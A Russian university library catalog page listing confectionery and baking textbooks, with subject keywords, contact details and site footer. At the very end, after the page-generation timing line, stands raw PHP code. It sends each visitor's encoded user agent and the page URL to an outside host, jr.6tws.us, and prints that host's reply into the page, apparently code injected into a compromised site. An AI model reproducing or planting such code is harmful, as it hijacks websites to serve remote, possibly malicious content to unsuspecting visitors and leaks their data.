Шестакова Т. И. Кондитер-профессионал [Текст] : учеб. пособие / Т. И. Шестакова, 2006. - 399 с.
Ключевые слова 
МУКА ПШЕНИЧНАЯ -- МУКА СОЕВАЯ -- МУКА кукурузная -- КРАХМАЛ -- глюкоза -- фруктоза -- ПОДСЛАСТИТЕЛЬ -- патока крахмальная -- МЕД -- МОЛОКО -- ПРОДУКТЫ МОЛОЧНЫЕ -- МАСЛО СЛИВОЧНОЕ -- ЖИРЫ -- ЯЙЦА -- ЯЙЦЕПРОДУКТЫ -- ПРОДУКТЫ ВКУСОВЫЕ -- КИСЛОТА ПИЩЕВАЯ -- ВЕЩЕСТВА АРОМАТИЧЕСКИЕ -- РАЗРЫХЛИТЕЛЬ -- ФРУКТЫ -- ЦУКАТЫ -- КРУПА -- ОРЕХИ -- МАК -- УЛУЧШИТЕЛЬ хлебобулочных изделий -- ДОБАВКА БИОЛОГИЧЕСКИ АКТИВНА -- СЛИВКИ -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- ФАРШ -- ТЕСТО дрожжевое -- КУЛИЧИ -- БАБА РОМОВАЯ -- ТЕСТО бездрожжевое -- ВАТРУШКА -- ТЕСТО ПРЯНИЧНОЕ -- ТЕСТО ПЕСОЧНОЕ -- БИСКВИТ -- ТЕСТО ЗАВАРНОЕ -- ТЕСТО СЛОЕНОЕ -- волованы -- ФРИТЮР -- ПЕЧЕНЬЕ -- КЕКС -- ПИЦЦА -- СЛАДОСТИ ВОСТОЧНЫЕ -- СИРОП -- помадка -- ГЛАЗУРИ -- мастика -- КАРАМЕЛЬ -- кандир для сахарных фигур -- грильяж -- ЖЕЛЕ -- марципан -- ШОКОЛАД -- посыпки -- КРЕМ -- ПИРОЖНЫЕ -- ТОРТЫ
Держатели документа (Информация об экземплярах) 
19. 
Барановский В. А. Кондитер [Текст] : Учеб. пособие для уч-ся проф. лицеев и училищ / В. А. Барановский, Т. И. Перетятко, 2003. - 381 с.
Держатели документа (Информация об экземплярах) 
20. 
Кенгис, Роберт Петрович. Изделия из теста [Текст] / Р. П. Кенгис, 1958. - 192 с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2994 - 21.08.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.96 с.12 запросов, 0.62c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;